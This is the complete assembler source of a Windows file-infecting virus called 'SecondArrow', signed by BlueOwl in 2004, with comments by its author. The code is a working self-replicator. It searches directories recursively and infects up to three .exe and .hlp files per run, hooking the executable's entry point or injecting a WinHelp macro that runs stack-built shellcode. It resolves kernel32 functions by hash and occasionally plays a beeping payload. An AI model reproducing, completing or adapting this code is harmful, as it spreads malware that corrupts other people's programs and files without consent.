;
; SecondArrow by BlueOwl
;
; HLP/EXE (Cross)-Infector
;
; Disclaimer
;
;  This is the assembler source of a VIRUS. Me, the author
;  cannot be held responsible for any problems caused by
;  the compiled program. Please do not assemble it if you do
;  not know what you are doing.
;
; Description
;
;  Exes and hlps have always been in a nice kind of circulation,
;  and this is exactly what this virus exploits, infecting both.
;  It infects up to 3 files per run and only randomly activates
;  its payload when no file was infected. I liked doing something
;  like this because i thought it was fun combining to techniques
;  of infection into one.
;
; About hlps
;
;  Hlps are a little bit harder to infect than exefiles (when dealing
;  with the bare minimum infection), and infecting hlps is relatively
;  onnused comparing to the thousands of exeinfectors around this globe.
;  However, it is quite possible to do so and it can work under any
;  windows platform with most versions of winhlp.exe.
;
;  Hlp file infection just exploits the very simple fact that you can
;  use any windows function in hlps. So for example you could use
;  MessageBoxA(0,"Hello","Dear reader",0); and when the hlpfile loads
;  it will display this string. Now the thing that can be exploited
;  here is that one could also pass something like EnumWindows("[string]"
;  , 0); to it and the "[string]" would be executed because this is
;  an ENUMERATE function (windows calls the first argument). And
;  this string can also be the virus code. There is however one problem:
;  the virus must be a string and thus can't be executed if any
;  zero's are present in the string. This is solved in hlp virusses by
;  writing/pusing the entire virus body onto stack and executing it there.
;
; Payload
;
;  Make a scary sound. ;)
;
; Assemble with fasm (version 1.50/1.52 should work fine at least)
;  get it from http://www.flatassembler.net

format PE GUI 4.0

include '%fasminc%\win32a.inc'	; fasm assembles this FLAT with read/write/execute attributes

; .equates
GENERIC_READWRITE equ 0C0000000h
find_data	equ (_fd-4)
hfind		equ (_hf-4)
virus_size	equ ((virus_enda-virus_start)/4+1)*4	; aligned to a dword (required when being in stack)
virus_end	equ (virus_start+virus_size)		; otherwise the virus will start with a few zeros
OldEip		equ (oep-4)

macro wcall proc,[arg]			; wcall procedure (indirect)
 { common				; a macro for calling windows apis ;)
    if ~ arg eq
     stdcall [ebp+proc-delta],arg
    else
     call [ebp+proc-delta]
    end if }


; .startup
		mov	dword [OldEip], exit
; .code
virus_start:	push	012345678h		; only used when an exe was infected
oep:		pushad				; save regs
		cld				; clear direction flag
decrypt_from:	call	set_seh_handler
		mov	esp, [esp+8]		; restore seh
		jmp	error_occurred

		db	"..SecondArrow.."

set_seh_handler:sub	eax, eax
		fs push dword [eax]
		fs mov	[eax], esp		; setup self exeption handling

exehlpa:	stc				; this is a clc when we are a hlp
		jc	exe_start

		mov	edi, [esp+virus_size+44] ; esi = return address (in kernel32)
		jmp	in_find_k32
exe_start:	mov	edi, [esp+44]		; edi = somewhere in k32
		jmp	in_find_k32
find_k32:	dec	edi			; what do you think of this routine ;)
in_find_k32:	sub	di, di			; align
		cmp	word [edi], "MZ"
		jnz	find_k32		; edi = base of kernel32

		call	load_delta
delta:		dd	0c3941b3eh		; data is carried close to delta so
CreateFile	dd	?		       ; this way most references are small
		dd	092d23c21h
ReadFile	dd	?
		dd	0b9b3edbfh
SetFilePointer	dd	?
		dd	0d43240b9h
WriteFile	dd	?
		dd	08a425b5dh
CloseHandle	dd	?
		dd	0bda885d4h
FindFirstFile	dd	?
		dd	06c38b20bh
FindNextFile	dd	?
		dd	0a050a531h
FindClose	dd	?
		dd	0c6c1b075h
GlobalAlloc	dd	?
		dd	0c4617123h
GlobalLock	dd	?
		dd	05837bb59h
GlobalUnlock	dd	?
		dd	0b8925923h
GlobalFree	dd	?
		dd	0642682e4h
SetCurrentDirectory dd	?
		dd	08a844000h
Beep		dd	?		; for the payload
		dd	030e656feh
GetTickCount	dd	?		; ditto
		dd	0

infection_count db	0

hmem		dd	"Spac"
hfile		dd	"e fo"
hfmem		dd	"r re"
hfstart 	dd	"nt $"
nbr		dd	"5 ! "
all_mask	db	"*.*",0	    ; seach for whatever

macrostart	db	4,0,_mse-_ms,0
_ms		db	'RR("KERNEL32","EnumSystemCodePagesA","SU")',0	; a macro with callback features
_mse:		db	4,0
macro_size	dw	?
enumw		db	'EnumSystemCodePagesA("'
		xchg	edi, esp		; edi = esp
		std				; decrementing pointer
		dec	edi			; otherwise the last byte would get overwritten
endmacrostart:
startmacrosize	equ	(endmacrostart-macrostart)

macroend:	xchg	edi, esp		; esp = edi
		inc	esp			; actual entry
		push	esp
		ret				; jump to esp
		db	'",0)',0
endmacroend:
endmacrosize	equ	(endmacroend-macroend)


load_delta:	pop	ebp		; ebp = delta handle
		mov	esi, ebp
		lodsd
get_funcs:	xchg	ebx, eax
		push	esi
		push	ebp
		mov	ebp, [edi+60]
		add	ebp, edi	; ebp = ptr to peheader
		mov	ebp, [ebp+120]
		add	ebp, edi	; ebp = ptr to export table
		mov	edx, [ebp+36]
		add	edx, edi	; edx = ptr to function ordinals
		mov	esi, [ebp+32]
		add	esi, edi	; esi = ptr to ptrs of function names
		mov	ecx, [ebp+20]	; ecx = number of exported functions
find_function:	push	esi
		push	edx
		sub	eax, eax
		cdq			; edx=eax=0
		mov	esi, [esi]
		add	esi, edi	; esi = ptr to function name
make_checksum:	lodsb
		add	edx, eax
		rol	edx, 5
		or	eax, eax
		jnz	make_checksum	; edx = checksum
		cmp	edx, ebx	; compare with needed
		pop	edx
		pop	esi
		jz	ff_ok
		add	esi, 4		; next namepointer
		inc	edx
		inc	edx		; next ordinal
		loop	find_function
		jmp	function_notfound ; exit with eax = 0
ff_ok:		mov	esi, [ebp+28]
		add	esi, edi	; esi = ptr to function addresses
		movzx	ecx, word [edx] ; ecx = function number
		inc	ecx		; ecx ++
		rep	lodsd
		add	eax, edi	; eax = function address
function_notfound:
		pop	ebp
		pop	esi
		mov	[esi], eax
		or	eax, eax		; function could not be found?
		je	error_occurred
		lodsd
		lodsd
		or	eax, eax
		jnz	get_funcs		; load all functions

		mov	byte [ebp+infection_count-delta], 3 ; better not more then 3 ;)

		wcall	GlobalAlloc,GMEM_MOVEABLE,314
		or	eax, eax
		jz	error_occurred
		mov	[ebp+find_data-delta], eax
		wcall	GlobalLock,eax
		mov	[ebp+hmem-delta], eax

		call	infect_files

		cmp	byte [ebp+infection_count-delta], 3 ; nothing infected?
		jnz	close_mem
		wcall	GetTickCount		; Get a "random" number

		cmp	al, 44h 		; so this occurs one in about 256 times
		jnz	close_mem

		; payload
		push	37			; make a scary sound payload :)
		pop	esi
		sub	edi, edi
countup:	add	esi, edi
		wcall	Beep,esi,40
		inc	esi
		test	esi, 7
		jnz	nok
		inc	edi
nok:		cmp	esi, 1500
		jb	countup

close_mem:	mov	esi, 012345678h
_fd:		wcall	GlobalUnlock,esi
		wcall	GlobalFree,esi
error_occurred: sub	eax, eax
		fs pop	dword [eax]
		pop	ebx
exehlpb:	stc
		popad
		jc	exit_exe
		add	esp, virus_size+4	; fix stack
		sub	eax, eax		; return false
		ret	4

exit_exe:	ret

; ///////////////////////////////////////////////////////////////////////////

infect_files:	lea	eax, [ebp+all_mask-delta] ; seach for anything
		wcall	FindFirstFile,eax,[ebp+hmem-delta]
		mov	[ebp+hfind-delta], eax	; save findhandle
		inc	eax
		jz	no_file_found		; close memory on error


try_next_file:	cmp	byte [ebp+infection_count-delta], 0
		jz	no_file_found		; close search
		mov	edi, [ebp+hmem-delta]

		mov	eax, [edi+32]		; eax = size of file
		and	al, 15
		cmp	al, 15			; check for infection padding
		jz	already_infected

		call	set_infection_seh
		mov	esp, [esp+8]
		jmp	restore_seh
set_infection_seh:
		sub	eax, eax
		fs push dword [eax]
		fs mov	[eax], esp

		; open and read file

		lea	ebx, [edi+44d]

		mov	esi, ebx		; esi = start of filename
find_end:	lodsb
		or	al, al
		jnz	find_end		; esi = ptr to end of file name
		mov	eax, [esi-5]		; eax = file extension
		or	eax, 020202020h 	; to lowercase
		cmp	eax, ".exe"
		je	ext_ok
		cmp	eax, ".hlp"
		jne	not_infectable
ext_ok:
		sub	eax, eax
		wcall	CreateFile,ebx,GENERIC_READWRITE,eax,eax,3,128,eax  ; open the file

		mov	[ebp+hfile-delta], eax
		inc	eax
		jz	cant_open_file

		mov	eax, dword [edi+32d]
		add	eax, virus_size*3+4000h ; add some extra space

		wcall	GlobalAlloc,GMEM_MOVEABLE,eax	; Get some space
		or	eax, eax
		jz	close_file
		mov	[ebp+hfmem-delta], eax
		wcall	GlobalLock,eax		; Lock it (required for some windowsversions)

		or	eax, eax
		jz	close_fmem
		mov	[ebp+hfstart-delta], eax

		push	eax

		lea	ebx, [ebp+nbr-delta]

		wcall	ReadFile,[ebp+hfile-delta],eax,[edi+32d],ebx,0	; Load file into memory
		or	eax, eax
		jz	close_lock

		pop	edx
		mov	edi, edx		; save start to edi too

		push	edx
		lea	eax, [ebp+exehlpa-delta]
		lea	ecx, [ebp+exehlpb-delta]
		push	dword [ecx]
		push	ecx
		mov	ebx, [esi-5]
		or	ebx, 020202020h
		cmp	ebx, ".exe"
		je	is_exe
		mov	byte [eax], 0f8h
		mov	byte [ecx], 0f8h	; hlp marker (clc)
		call	infect_hlpfile
		jmp	infect_done
is_exe: 	mov	byte [eax], 0f9h        ; exe marker (stc)
		mov	byte [ecx], 0f9h
		call	infect_exefile
infect_done:	pop	eax
		pop	dword [eax]
		pop	edx
		jc	close_lock		; carry flag is on if error happened

		dec	byte [ebp+infection_count-delta] ; take on off the infection counter

		sub	edi, edx		; edi = size of file

		push	edi
		wcall	SetFilePointer,[ebp+hfile-delta],0,0,FILE_BEGIN
		pop	ecx

		or	cl, 15			; infection sign

		lea	eax, [ebp+nbr-delta]
		wcall	WriteFile,[ebp+hfile-delta],[ebp+hfstart-delta],ecx,eax,0

close_lock:	wcall	GlobalUnlock,[ebp+hfmem-delta]
close_fmem:	wcall	GlobalFree,[ebp+hfmem-delta]
close_file:	wcall	CloseHandle,[ebp+hfile-delta]
cant_open_file:
		jmp	restore_seh

not_infectable: cmp	dword [edi], FILE_ATTRIBUTE_DIRECTORY ; is this a directory?
		jnz	restore_seh
		lea	eax, [edi+44]
		cmp	byte [eax], "." 		   ; is a root?
		jz	restore_seh
		wcall	SetCurrentDirectory,eax 	      ; set it as dir
		push	dword [ebp+hfind-delta]
		call	infect_files			      ; recursive call
		pop	dword [ebp+hfind-delta]
		call	dot_dot
		db	"..",0
dot_dot:	wcall	SetCurrentDirectory		      ; return to this dir
restore_seh:	sub	eax, eax
		fs pop	dword [eax]
		pop	eax

already_infected:
		push	[ebp+hmem-delta]
		push	012345678h
_hf:		call	[ebp+FindNextFile-delta]
		or	eax, eax
		jnz	try_next_file
no_file_found:
		wcall	FindClose,[ebp+hfind-delta]
		ret


; ----------------------------------------------------------------------------------------

; both routines
; on entry:     edi = edx = start of file
;
; on exit:      carry on: error happened
;               carry off: infection successfull

; i tried to make the smallest possible routine for this
; all is old school and should be easily understandable
; reading the comments ;)

infect_exefile: cmp	word [edx], "MZ"		; "MZ" present?
		jnz	no_good_exe
		add	edx, [edx+60]
		cmp	word [edx], "PE"		; "PE" present?
		jnz	no_good_exe
		mov	esi, edx			; esi = peheader
		add	esi, 120			; esi = dirheader
		mov	eax, [edx+116]			; eax = number of dir entries
		shl	eax, 3				; eax = eax*8
		add	esi, eax			; esi = first section header
		movzx	eax, word [edx+6]		; eax = number of sections
		dec	eax				; eax = eax-1
		imul	eax,eax,40
		add	esi, eax			; esi = ptr to last section header
		or	byte [esi+39], 0F0h		; give section necessary rights
		mov	ecx, virus_size 		; ecx = size of virus
		mov	ebx, [esi+16]			; ebx = physical size of section
		add	[esi+16], ecx			; increase section physical size
		add	[esi+8], ecx			; increase section virtual size
		push	dword [esi+8]			; push section virtual size
		pop	dword [edx+80]			; imagesize = section virtual size
		mov	eax, [esi+12]			; eax = section rva
		add	[edx+80], eax			; add it to the imagesize
		add	edi, [esi+20]			; edi = section offset
		add	edi, ebx			; edi = end of section
		add	eax, ebx			; eax = rva of virus
		xchg	[edx+40], eax			; swap it with old entrypoint
		add	eax, [edx+52]			; add imagebase to it
		mov	[ebp+OldEip-delta], eax 	; save it
		lea	esi, [ebp+virus_start-delta]	; esi = virus start
		rep	movsb				; edi = ptr to end of file
		clc					; indicate sucess
		ret
no_good_exe:	stc					; indicate error
		ret

; HLP Infection routine, see upper comments
; and comments below to see how it works
;
; .The source of HLP.AYUDA (29a#5) was very helpfull when
; .i got lost a little! Thankyou Bumblebee.
;
; Here is a little "diagram" about how we touch this stuff.
; Note: if you don't know, rb [num] means [num] bytes
; dots mean and undefined number of data
;
; -------- HLP FILE -------
;
; Magic    dd 00035f3fh
; DirStart dd offset main_directory
; NotDir   dd ?
; filesize dd official filesize
;           .
;           .
;           .
; main_directory:
; String   rb 9
; Magic    dw 293bh
; Data     rb 28
; Kind     dw ?
;           .
;           .
;           .
; String   "|SYSTEM"
; System   dd offset to system_directory
;           .
;           .
; system_directory:
; data     rb ? (here is the old system directory)
;           .
;           .
;           .
; eof_file:
;           (here the old system_directory + our stuff comes)
;
; ----------------------------


infect_hlpfile: cmp	dword [edi], 00035f3fh		; check for magic value
		jnz	no_good_hlp
		mov	esi, [edi+12]			; esi = filesize
		add	edi, [edi+4]			; edi = ptr to hlpfileheader
		cmp	word [edi+9], 293bh		; check for magic here
		jnz	no_good_hlp
		cmp	word [edi+39], 1		; check if the data is not indexed
		jnz	no_good_hlp

		mov	ecx, 565			; set scan range
find_system:	inc	edi
		cmp	dword [edi], "|SYS"		; find |SYSTEM, ignoring all between
		jz	system_found
		loop	find_system
		jmp	no_good_hlp

system_found:	xchg	esi, [edi+8]			; swap it with ptr to system dir
		add	esi, edx			; get system dir
		cmp	word [esi+9], 036ch		; check if system dir
		jnz	no_good_hlp
		mov	ecx, [esi]			; size of system dir
		mov	edi,edx
		add	edi,[edx+12]			; edi = ptr to end of file
		push	edi				; save start
		rep	movsb				; copy old system directory
		push	edi
		lea	esi, [ebp+macrostart-delta]	; copy start of new macro
		mov	ecx, startmacrosize
		rep	movsb

		lea	esi, [ebp+virus_end-delta]
		mov	ecx, virus_size


	; The whole virus will be translated into
	; "mov al, virus_byte[x]; stosb" 's, if
	; the character is a zero a "sub al, al;
	; stosb" is used instead. Furthermore
	; other "special" chars are "\"d.

loop_generate:	mov	al, 0B0h	; mov al, ..
		dec	esi
		mov	ah, byte [esi]
		cmp	ah, 22h 	; '"'
		je	fix_it
		cmp	ah, 27h 	; '''
		je	fix_it
		cmp	ah, 5ch 	; '\'
		je	fix_it
		cmp	ah, 60h 	; '''
		je	fix_it
		or	ah, ah		; 0
		jnz	no_fix
		mov	ax, 0C028h	; sub al, al
		jmp	no_fix
fix_it: 	stosb
		mov	al, '\'
no_fix: 	stosw
		mov	al, 0AAh	; stosb
		stosb
		loop	loop_generate

		lea	esi, [ebp+macroend-delta]
		mov	cl, endmacrosize
		rep	movsb

		pop	esi		; get start of new sysdir
		pop	ebx
		mov	ecx, edi	; ecx = edi
		sub	ecx, esi	; ecx = size of new sysdir
		sub	ecx, (enumw-macrostart)
		mov	word [esi+macro_size-macrostart], cx

		mov	ecx, edi
		sub	edi, ebx	; edi = system size
		mov	[ebx], edi
		add	[edx+12], edi
		sub	edi, 9
		mov	[ebx+4], edi

		xchg	ecx, edi	; edi = end of file
		clc			; indicate success
		ret

no_good_hlp:	stc			; failure
		ret

; i hope you understood this stuff!

		db	"My way into history!",13,10
		db	"BlueOwl June/2004"

virus_enda:

padding 	dd	0

exit:		ret

; BlueOwl June/2004 ;)